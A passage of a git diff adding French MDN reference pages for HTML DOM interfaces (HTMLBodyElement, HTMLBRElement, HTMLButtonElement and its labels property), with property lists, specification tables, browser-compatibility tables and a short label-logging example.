+   <td>{{Spec2('DOM1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("api.HTMLBaseFontElement")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'élément HTML {{HTMLElement("basefont")}} implémentait cette interface.</li>
+</ul>
diff --git a/files/fr/web/api/htmlbodyelement/index.html b/files/fr/web/api/htmlbodyelement/index.html
new file mode 100644
index 0000000000..33868ba02b
--- /dev/null
+++ b/files/fr/web/api/htmlbodyelement/index.html
@@ -0,0 +1,198 @@
+---
+title: HTMLBodyElement
+slug: Web/API/HTMLBodyElement
+tags:
+  - API
+  - HTML DOM
+  - Interface
+  - Reference
+translation_of: Web/API/HTMLBodyElement
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>L'interface <strong> <code>HTMLBodyElement</code> </strong> des propriétés particulières (au-delà de celles de l'interface {{ domxref("HTMLElement") }} dont-elle hérite également) pour manipuler les éléments.</p>
+
+<h2 id="propriétés">propriétés</h2>
+
+<p><em>Propriétés hérite de son parent, {{domxref("HTMLElement")}} et de {{domxref("WindowEventHandlers")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLBodyElement.aLink")}} {{obsolete_inline}}</dt>
+ <dd>Est un {{ domxref("DOMString") }} qui représente la couleur des liens hypertextes actifs.</dd>
+ <dt>{{domxref("HTMLBodyElement.background")}} {{obsolete_inline}}</dt>
+ <dd>Est un {{ domxref("DOMString") }} qui représente la description de l'emplacement de la ressource d'image d'arrière-plan. Notez que ce n'est pas un URI, même si certaines anciennes versions de certains navigateurs s'y attendent.</dd>
+ <dt>{{domxref("HTMLBodyElement.bgColor")}} {{obsolete_inline}}</dt>
+ <dd>Est un {{ domxref("DOMString") }} qui représente la couleur de fond du document.</dd>
+ <dt>{{domxref("HTMLBodyElement.link")}} {{obsolete_inline}}</dt>
+ <dd>Est un {{ domxref("DOMString") }} qui représente la couleur des liens non visités.</dd>
+ <dt>{{domxref("HTMLBodyElement.text")}} {{obsolete_inline}}</dt>
+ <dd>Est un {{ domxref("DOMString") }} qui représente la couleur de premier plan du texte.</dd>
+ <dt>{{domxref("HTMLBodyElement.vLink")}} {{obsolete_inline}}</dt>
+ <dd>Est un {{ domxref("DOMString") }} qui représente la couleur des liens visités.</dd>
+</dl>
+
+<h2 id="méthodes">méthodes</h2>
+
+<p><em>Aucune méthode spécifique; méthodes hérite de ses parents, {{domxref("HTMLElement")}} et de {{domxref("WindowEventHandlers")}}</em><em>.</em></p>
+
+<h2 id="Les_gestionnaires_d'événements">Les gestionnaires d'événements</h2>
+
+<p><em>Pas de gestionnaire d'événement spécifique; gestionnaires d'événements hérite de ses parents, {{domxref("HTMLElement")}} et de {{domxref("WindowEventHandlers")}}</em><em>.</em></p>
+
+<dl>
+ <dt>{{domxref("WindowEventHandlers.onafterprint")}}</dt>
+ <dd>Est un {{domxref("EventHandler")}} représentant le code d'appel lorsque l'événement {{event("afterprint")}} est déclenché.</dd>
+ <dt>{{domxref("WindowEventHandlers.onbeforeprint")}}</dt>
+ <dd>Est un {{domxref("EventHandler")}} représentant le code d'appel lorsque l'événement {{event("beforeprint")}} est déclenché.</dd>
+ <dt>{{domxref("WindowEventHandlers.onbeforeunload")}}</dt>
+ <dd>Est un {{domxref("EventHandler")}} représentant le code d'appel lorsque l'événement {{event("beforeunload")}} est déclenché.</dd>
+ <dt>{{domxref("WindowEventHandlers.onhashchange")}}</dt>
+ <dd>Est un {{domxref("EventHandler")}} représentant le code d'appel lorsque l'événement {{event("hashchange")}} est déclenché.</dd>
+ <dt>{{domxref("WindowEventHandlers.onlanguagechange")}} {{experimental_inline}}</dt>
+ <dd>Est un {{domxref("EventHandler")}} représentant le code d'appel lorsque l'événement {{event("languagechange")}} est déclenché.</dd>
+ <dt>{{domxref("WindowEventHandlers.onmessage")}}</dt>
+ <dd>Est un {{domxref("EventHandler")}} représentant le code d'appel lorsque l'événement {{event("message")}} est déclenché.</dd>
+ <dt>{{domxref("WindowEventHandlers.onoffline")}}</dt>
+ <dd>Est un {{domxref("EventHandler")}} représentant le code d'appel lorsque l'événement {{event("offline")}} est déclenché.</dd>
+ <dt>{{domxref("WindowEventHandlers.ononline")}}</dt>
+ <dd>Est un {{domxref("EventHandler")}} représentant le code d'appel lorsque l'événement {{event("online")}} est déclenché.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpagehide")}}</dt>
+ <dd>Est un {{domxref("EventHandler")}} représentant le code d'appel lorsque l'événement {{event("pagehide")}} est déclenché.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpageshow")}}</dt>
+ <dd>Est un {{domxref("EventHandler")}} représentant le code d'appel lorsque l'événement {{event("pageshow")}} est déclenché.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpopstate")}}</dt>
+ <dd>Est un {{domxref("EventHandler")}} représentant le code d'appel lorsque l'événement {{event("popstate")}} est déclenché.</dd>
+ <dt>{{domxref("WindowEventHandlers.onresize")}}</dt>
+ <dd>Est un {{domxref("EventHandler")}} représentant le code d'appel lorsque l'événement {{event("resize")}} est déclenché.</dd>
+ <dt>{{domxref("WindowEventHandlers.onstorage")}}</dt>
+ <dd>Est un {{domxref("EventHandler")}} représentant le code d'appel lorsque l'événement {{event("storage")}} est déclenché.</dd>
+ <dt>{{domxref("WindowEventHandlers.onunload")}}</dt>
+ <dd>Est un {{domxref("EventHandler")}} représentant le code d'appel lorsque l'événement {{event("unload")}} est déclenché.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "sections.html#the-body-element", "HTMLBodyElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Techniquement, les propriétés liées à l'événement, <code>onafterprint</code>, <code>onbeforeprint</code>, <code>onbeforeunload</code>, <code>onblur</code>, <code>onerror</code>, <code>onfocus</code>, <code>onhashchange</code>, <code>onlanguagechange</code>, <code>onload</code>, <code>onmessage</code>, <code>onoffline</code>, <code>ononline</code>, <code>onpopstate</code>, <code>onresize</code>, <code>onstorage</code> et <code>onunload</code>, ont été passées à {{domxref("WindowEventHandlers")}}, et <code>HTMLBodyElement</code> implémentant cette interface.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "sections.html#the-body-element", "HTMLBodyElement")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "sections.html#the-body-element", "HTMLBodyElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Les propriétés suivantes sont désormais obsolètes: <code>aLink</code>, <code>bgColor</code>, <code>background</code>, <code>link</code>, <code>text</code> Les propriétés suivantes ont été ajoutées:. <code>vLink</code>, <code>onafterprint</code>, <code>onbeforeprint</code>, <code>onbeforeunload</code>, <code>onblur</code>, <code>onerror</code>, <code>onfocus</code>, <code>onhashchange</code>, <code>onload</code>, <code>onmessage</code>, <code>onoffline</code>, <code>ononline</code>, <code>onpopstate</code>, <code>onresize</code>, et <code>onstorage</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-62018039', 'HTMLBodyElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>Ne change pas de {{SpecName("DOM1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-62018039', 'HTMLBodyElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop(1.0)}} [1]</td>
+   <td>4.0</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onXYZ</code> event handlers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onlanguage</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(32)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onXYZ</code> event handlers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onlangugage</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(32)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Firefox prior to Firefox 7.0 and some older versions of Opera did returned an URI for the <code>HTMLBodyElement.background</code> attribute.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Élément HTML mise en œuvre par cette interface: {{ HTMLElement("body") }}</li>
+</ul>
diff --git a/files/fr/web/api/htmlbrelement/index.html b/files/fr/web/api/htmlbrelement/index.html
new file mode 100644
index 0000000000..ae2314261b
--- /dev/null
+++ b/files/fr/web/api/htmlbrelement/index.html
@@ -0,0 +1,111 @@
+---
+title: HTMLBRElement
+slug: Web/API/HTMLBRElement
+tags:
+  - DOM
+  - Référence_du_DOM_Gecko
+translation_of: Web/API/HTMLBRElement
+---
+<div>
+ {{ApiRef}}</div>
+<p>L'interface <strong><code>HTMLBRElement</code></strong> représente un retour à la ligne. Il hérite de {{domxref("HTMLElement")}}.</p>
+<h2 id="Propriétés">Propriétés</h2>
+<p><em>Hérite les propriétés de son parent : {{domxref("HTMLElement")}}.</em></p>
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Nom</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>clear</code> {{obsolete_inline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Indique le flux du texte autours des objets flottants.</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Méthodes">Méthodes</h2>
+<p><em>Aucune méthode spécifique ; </em><em>hérite les méthodes de son parent, {{domxref("HTMLElement")}}</em>.</p>
+<h2 id="Spécifications">Spécifications</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "text-level-semantics.html#the-br-element", "HTMLBRElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Aucun changement par rapport à {{SpecName("HTML5 W3C")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "text-level-semantics.html#the-br-element", "HTMLBRElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Aucun changement par rapport à {{SpecName("DOM2 HTML")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-ID-56836063', 'HTMLBodyElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>Aucun changement par rapport à {{SpecName("DOM1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-56836063', 'HTMLBodyElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Première définition.</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+<p>{{CompatibilityTable}}</p>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Fonctionnalité</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari (WebKit)</th>
+   </tr>
+   <tr>
+    <td>Support de base</td>
+    <td>1.0</td>
+    <td>{{CompatGeckoDesktop(1.0)}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Fonctionnalité</th>
+    <th>Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Phone</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Support de base</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatGeckoMobile(1.0)}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h2 id="Voir_également">Voir également</h2>
+<ul>
+ <li>L'élément HTML supportant cet interface : {{ HTMLElement("br") }}</li>
+</ul>
diff --git a/files/fr/web/api/htmlbuttonelement/index.html b/files/fr/web/api/htmlbuttonelement/index.html
new file mode 100644
index 0000000000..8f9ca4eab7
--- /dev/null
+++ b/files/fr/web/api/htmlbuttonelement/index.html
@@ -0,0 +1,147 @@
+---
+title: HTMLButtonElement
+slug: Web/API/HTMLButtonElement
+tags:
+  - API
+  - HTML DOM
+  - Interface
+  - Reference
+  - TopicStub
+translation_of: Web/API/HTMLButtonElement
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>  <span class="tlid-translation translation"><span title="">L'interface</span></span>  <span class="tlid-translation translation"><span title=""> </span></span><strong><code>HTMLButtonElement</code></strong>  <span class="tlid-translation translation"><span title="">fournit des propriétés et des méthodes (au-delà de l'interface d'objet {{HTMLElement ("button")}} dont elle dispose également par héritage) pour manipuler la présentation et la présentation des éléments de bouton.</span></span></p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="Propriétés"><span class="tlid-translation translation"><span title="">Propriétés</span></span></h2>
+
+<p><span class="tlid-translation translation"><span title="">Hérite des propriétés de son parent,</span></span> <em> {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLButtonElement.accessKey")}}</dt>
+ <dd><span class="tlid-translation translation"><span title="">Est un {{domxref ("DOMString")}} indiquant la touche de clavier à caractère unique permettant d'accéder au bouton.</span></span></dd>
+ <dt>{{domxref("HTMLButtonElement.autofocus")}}</dt>
+ <dd><span class="tlid-translation translation"><span title="">Est un {{domxref ("Boolean")}} indiquant si le contrôle doit avoir ou non le focus d'entrée lors du chargement de la page, sauf si l'utilisateur le remplace, par exemple en tapant un contrôle différent.</span> <span title="">Cet attribut est spécifié pour un seul élément associé à un formulaire dans un document.</span></span></dd>
+ <dt>{{domxref("HTMLButtonElement.disabled")}}</dt>
+ <dd><span class="tlid-translation translation"><span title="">Est un {{domxref ("Boolean")}} indiquant si le contrôle est désactivé ou non, ce qui signifie qu'il n'accepte aucun clic</span></span> .</dd>
+ <dt>{{domxref("HTMLButtonElement.form")}} {{readonlyInline}}</dt>
+ <dd><span class="tlid-translation translation"><span title="">Est un {{domxref ("HTMLFormElement")}} reflétant le formulaire auquel ce bouton est associé.</span> <span title="">Si le bouton est un descendant d'un élément de formulaire, cet attribut est l'ID de cet élément de formulaire.</span><br>
+ <span title="">Si le bouton n'est pas un descendant d'un élément de formulaire, l'attribut peut être l'identifiant de n'importe quel élément de formulaire dans le même document auquel il est lié, ou la valeur null si aucun élément ne correspond</span></span> .</dd>
+ <dt>{{domxref("HTMLButtonElement.formAction")}}</dt>
+ <dd><span class="tlid-translation translation"><span title="">Est un {{domxref ("DOMString")}} reflétant l'URI d'une ressource qui traite les informations soumises par le bouton.</span> <span title="">S'il est spécifié, cet attribut remplace l'attribut {{htmlattrxref ("action", "form")}} de l'élément {{HTMLElement ("form")}} à qui appartient cet élément.</span></span></dd>
+ <dt>{{domxref("HTMLButtonElement.formEnctype")}}</dt>
+ <dd><span class="tlid-translation translation"><span title="">Est un {{domxref ("DOMString")}} reflétant le type de contenu utilisé pour soumettre le formulaire au serveur.</span> <span title="">S'il est spécifié, cet attribut remplace l'attribut {{htmlattrxref ("enctype", "form")}} de l'élément {{HTMLElement ("form")}} à qui appartient cet élément.</span></span></dd>
+ <dt>{{domxref("HTMLButtonElement.formMethod")}}</dt>
+ <dd><span class="tlid-translation translation"><span title="">Est un {{domxref ("DOMChaine")}} reflétant la méthode HTTP que le navigateur utilise pour soumettre le formulaire.</span> <span title="">S'il est spécifié, cet attribut remplace l'attribut {{htmlattrxref ("méthode", "form")}} de l'élément {{HTMLElement ("form")}} à qui appartient cet élément.</span></span></dd>
+ <dt>{{domxref("HTMLButtonElement.formNoValidate")}}</dt>
+ <dd><span class="tlid-translation translation"><span title="">Est un {{domxref ("Boolean")}} indiquant que le formulaire ne doit pas être validé lors de sa soumission.</span> <span title="">S'il est spécifié, cet attribut remplace l'attribut {{htmlattrxref ("novalidate", "form")}} de l'élément {{HTMLElement ("form")}} à qui appartient cet élément.</span></span></dd>
+ <dt>{{domxref("HTMLButtonElement.formTarget")}}</dt>
+ <dd><span class="tlid-translation translation"><span title="">Est un {{domxref ("DOMChaîne")}} reflétant un nom ou un mot clé indiquant où afficher la réponse reçue après la soumission du formulaire.</span> <span title="">S'il est spécifié, cet attribut remplace l'attribut {{htmlattrxref ("target", "form")}} de l'élément {{HTMLElement ("form")}} à qui appartient cet élément.</span></span></dd>
+ <dt>{{domxref("HTMLButtonElement.labels")}} {{readonlyInline}}</dt>
+ <dd><span class="tlid-translation translation"><span title="">Est un {{domxref ("NodeList")}} qui représente une liste d'éléments {{HTMLElement ("label")}} qui sont des étiquettes pour ce bouton.</span></span></dd>
+ <dt>{{domxref("HTMLButtonElement.menu")}} {{experimental_inline}}</dt>
+ <dd><span class="tlid-translation translation"><span title="">Est-ce un {{domxref ("HTMLMenuElement")}} représentant l'élément de menu à afficher si le bouton est cliqué et de type = "menu".</span></span></dd>
+ <dt>{{domxref("HTMLButtonElement.name")}}</dt>
+ <dd><span class="tlid-translation translation"><span title="">Est un {{domxref ("DOMString")}} représentant le nom de l'objet lorsqu'il est soumis avec un formulaire.</span> <span title="">{{HTMLVersionInline (5)}} Si spécifié, il ne doit pas s'agir d'une chaîne vide.</span></span></dd>
+ <dt>{{domxref("HTMLButtonElement.tabIndex")}}</dt>
+ <dd><span class="tlid-translation translation"><span title="">Est un</span></span>  <code>long</code> <span class="tlid-translation translation"><span title="">qui représente la position de cet élément dans l'ordre de tabulation</span></span> .</dd>
+ <dt>{{domxref("HTMLButtonElement.type")}}</dt>
+ <dd>: <span class="tlid-translation translation"><span title="">Est un {{domxref ("DOMString")}} indiquant le comportement du bouton.</span> <span title="">C'est un attribut énuméré avec les valeurs possibles suivantes:</span></span>
+ <ul>
+  <li><code>"submit"</code>: <span class="tlid-translation translation"><span title="">Le bouton soumet le formulaire.</span> <span title="">Il s'agit de la valeur par défaut si l'attribut n'est pas spécifié, {{HTMLVersionInline (5)}} ou s'il est modifié dynamiquement en une valeur vide ou non valide.</span></span></li>
+  <li><code>"reset"</code>: <span class="tlid-translation translation"><span title="">Le bouton réinitialise le formulaire.</span></span></li>
+  <li><code>"button"</code>: <span class="tlid-translation translation"><span title="">Le bouton ne fait rien.</span></span></li>
+  <li><code>"menu"</code>: <span class="tlid-translation translation"><span title="">Le bouton affiche un menu.</span> <span title="">{{experimental_inline}}</span></span></li>
+ </ul>
+ </dd>
+ <dt>{{domxref("HTMLButtonElement.validationMessage")}} {{readonlyInline}}</dt>
+ <dd><span class="tlid-translation translation"><span title="">Est un {{domxref ("DOMString")}} représentant le message localisé décrivant les contraintes de validation que le contrôle ne satisfait pas (le cas échéant).</span> <span title="">Cet attribut est la chaîne vide si le contrôle n'est pas candidat à la validation de contrainte (willValidate est false) ou s'il respecte ses contraintes.</span></span></dd>
+ <dt>{{domxref("HTMLButtonElement.validity")}} {{readonlyInline}}</dt>
+ <dd><span class="tlid-translation translation"><span title="">Est un {{domxref ("ValidityState")}} représentant les états de validité dans lesquels se trouve ce bouton.</span></span></dd>
+ <dt>{{domxref("HTMLButtonElement.value")}}</dt>
+ <dd><span class="tlid-translation translation"><span title="">Est un {{domxref ("DOMString")}} représentant la valeur de contrôle de formulaire actuelle du bouton.</span></span></dd>
+ <dt>{{domxref("HTMLButtonElement.willValidate")}} {{readonlyInline}}</dt>
+ <dd><span class="tlid-translation translation"><span title="">Est un {{domxref ("Boolean")}} indiquant si le bouton est candidat à la validation de contrainte.</span> <span title="">Il est</span></span>  <code>false</code> <span class="tlid-translation translation"><span title="">si des conditions l'empêchent de valider la contrainte</span></span> .</dd>
+</dl>
+
+<h2 id="Les_méthodes"><span class="tlid-translation translation"><span title="">Les méthodes</span></span></h2>
+
+<p><span class="tlid-translation translation"><span title="">Hérite des méthodes de son parent, {{domxref ("HTMLElement")}}.</span></span></p>
+
+<table class="standard-table" style="height: 239px; width: 1383px;">
+ <thead>
+  <tr>
+   <th scope="col">Nom</th>
+   <th scope="col"><span class="tlid-translation translation"><span title="">Type de retour</span></span></th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>checkValidity()</code></td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>
+    <p><span class="tlid-translation translation"><span title="">Non pris en charge pour les éléments de bouton.</span></span></p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>setCustomValidity(in DOMString error)</code></p>
+   </td>
+   <td><code>void</code></td>
+   <td><span class="tlid-translation translation"><span title="">Non pris en charge pour les éléments de bouton.</span></span></td>
+  </tr>
+ </tbody>
+</table>
+
+<p><span class="tlid-translation translation"><span title="">Avec un navigateur basé sur Gecko, utilisez la pseudo-classe {{cssxref (": - moz-submit-invalid")}} pour styler les boutons de soumission en fonction de la validation d'un formulaire.</span></span></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "forms.html#the-button-element", "HTMLButtonElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td><span class="tlid-translation translation"><span title="">L'attribut suivant a été ajouté</span></span> : <code>menu</code>.<br>
+    <span class="tlid-translation translation"><span title="">L'attribut</span></span>  <code>type</code> <span class="tlid-translation translation"><span title="">peut prendre une valeur supplémentaire</span></span> , <code>"menu"</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "forms.html#the-button-element", "HTMLButtonElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td><span class="tlid-translation translation"><span title="">Les attributs</span></span>  <code>tabindex</code> et <code>accesskey</code>,  <span class="tlid-translation translation"><span title="">sont maintenant définis sur</span></span> {{domxref("HTMLElement")}}.<br>
+    <span class="tlid-translation translation"><span title="">Les attributs suivants ont été ajoutés</span></span> : <code>autofocus</code>, <code>formAction</code>, <code>formEnctype</code>, <code>formMethod</code>, <code>formNoValidate</code>, <code>formTarget</code>, <code>labels</code>, <code>validity</code>, <code>validationMessage</code>, and <code>willValidate</code>.<br>
+    <span class="tlid-translation translation"><span title="">Les méthodes suivantes ont été ajoutées</span></span> : <code>checkValidity()</code>, <code>setCustomValidity()</code>.<br>
+    The <code>type</code> attribute is no more read-only.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-34812697', 'HTMLButtonElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td><span class="tlid-translation translation"><span title="">Aucun changement de</span></span>  {{SpecName("DOM1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-34812697', 'HTMLButtonElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>. <span class="tlid-translation translation"><span title="">Définition initiale</span></span></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs"><span class="tlid-translation translation"><span title="">Compatibilité des navigateurs</span></span></h2>
+
+<div class="hidden"><span class="tlid-translation translation"><span title="">Le tableau de compatibilité sur cette page est généré à partir de données structurées.</span> <span title="">Si vous souhaitez contribuer aux données, veuillez consulter</span></span>  <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> <span class="tlid-translation translation"><span title="">et envoyez-nous une </span></span>requête .</div>
+
+<p>{{Compat("api.HTMLButtonElement")}}</p>
+
+<h2 id="Voir_également"><span class="tlid-translation translation"><span title="">Voir également</span></span></h2>
+
+<ul>
+ <li><span class="tlid-translation translation"><span title="">Élément HTML implémentant cette interface</span></span> : {{HTMLElement("button")}}</li>
+</ul>
diff --git a/files/fr/web/api/htmlbuttonelement/labels/index.html b/files/fr/web/api/htmlbuttonelement/labels/index.html
new file mode 100644
index 0000000000..463b72f021
--- /dev/null
+++ b/files/fr/web/api/htmlbuttonelement/labels/index.html
@@ -0,0 +1,66 @@
+---
+title: HTMLButtonElement.labels
+slug: Web/API/HTMLButtonElement/labels
+tags:
+  - API
+  - DOM
+  - Propriété
+translation_of: Web/API/HTMLButtonElement/labels
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La propriété en lecture seule <code><strong>HTMLButtonElement.labels</strong></code> renvoie une {{domxref("NodeList")}} (<em>liste de noeuds</em>) des éléments {{HTMLElement("label")}} (<em>étiquette</em>) associés avec l'élément {{HTMLElement("button")}} (<em>bouton</em>).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <var>labelElements</var> = <var>button</var>.labels;
+</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une {{domxref("NodeList")}} contenant les éléments <code>&lt;label&gt;</code> associés avec l'élément <code>&lt;button&gt;</code>.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;label id="label1" for="test"&gt;Label 1&lt;/label&gt;
+&lt;button id="test"&gt;Button&lt;/button&gt;
+&lt;label id="label2" for="test"&gt;Label 2&lt;/label&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">window.addEventListener("DOMContentLoaded", function() {
+  const button = document.getElementById("test");
+  for(var i = 0; i &lt; button.labels.length; i++) {
+    console.log(button.labels[i].textContent); // "Label 1" et "Label 2"
+  }
+});</pre>
+
+<p>{{EmbedLiveSample("Example", "100%", 30)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "forms.html#dom-lfe-labels", "labels")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.HTMLButtonElement.labels")}}</p>
diff --git a/files/fr/web/api/htmlcanvaselement/getcontext/index.html b/files/fr/web/api/htmlcanvaselement/getcontext/index.html
new file mode 100644
index 0000000000..142044f6bd
--- /dev/null
+++ b/files/fr/web/api/htmlcanvaselement/getcontext/index.html
@@ -0,0 +1,290 @@
+---
+title: HTMLCanvasElement.getContext()
+slug: Web/API/HTMLCanvasElement/getContext
+tags:
+  - API
+  - Canevas
+  - HTMLCanvasElement
+  - Méthode
+  - Reference
+translation_of: Web/API/HTMLCanvasElement/getContext
+---
+<div>{{APIRef("Canvas API")}}</div>
+
